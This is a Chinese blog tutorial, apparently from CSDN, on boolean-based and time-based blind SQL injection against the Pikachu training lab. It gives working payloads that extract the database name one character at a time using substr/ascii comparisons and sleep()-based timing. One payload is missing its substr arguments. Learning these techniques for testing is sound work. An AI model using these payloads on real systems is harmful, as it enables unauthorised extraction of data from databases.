SQL注入之盲注

本文详细介绍了SQL注入中的盲注类型,包括基于Boolean和基于时间的两种方式。在Boolean盲注中,通过判断输入是否改变输出结果来确认注入,而在时间盲注中,利用执行时间的差异来探测注入点。通过示例展示了如何利用payload来识别和利用这些注入漏洞。
摘要由CSDN通过智能技术生成

1、什么是盲注:

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”

根据表现形式的不同,盲注又分为based Boolean和based time两种类型

基于boolean的盲注主要表现症状:

  1. 没有报错信息
  2. 不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
  3. 在正确的输入下,输入and 1=1 /and 1=2发现可以判断

输入kobe’ and 1=1#

输入kobe’ and 1=2#

说明存在sql注入,会把我们输入的内容传到后端进行执行

              输入                                                              输出

Select database()                                                 pikachu

Select substr(database(),1,1)                            p

Select ascii(substr(database(),1,1))            112

Select ascii(substr(database(),1,1))>100      1

Select ascii(substr(database(),1,1))>113      0

      确定字符串长度:

      Select length(database())                                        7

      Select length(database())>8                                    0

      Select length(database())=7                                    1

因为前端返回的信息只有两种,要么正确,返回用户信息,要么不正确,返回错误信息,所以可以构造payload:Kobe’ and ascii(substr(database()))>113#,如果返回kobe的信息,则后面表达式的值为真,则database的第一个字符ascii的值确实大于113

Kobe’ and ascii(substr(database(),1,1))=112#

基于时间的盲注:

如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话,那么基于时间的盲注完全就是什么都看不见了,但是还有一个条件,就是时间,通过特定的输入,判断后台执行的时间,从而确定注入

常用的teat payload:kobe’ and sleep(5)#,可以看看输入kobe和输入kobe’ and sleep(5)#的区别,从而判断这里存在based time的sql注入漏洞

首先发现无论输入什么,下方输出信息都是一样的

输入kobe’ and sleep(5)#,通过观察下方,发现确实对我们输入的sleep()执行了,说明此处存在sql注入

基于时间的延迟:

kobe’ and if((substr(database(),1,1))=’a’,sleep(5),null)#

因为不是a,所以很快就返回结果

修改为:kobe’ and if((substr(database(),1,1))=’p’,sleep(5),null)#,因为确实是p,所以会反应5秒

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值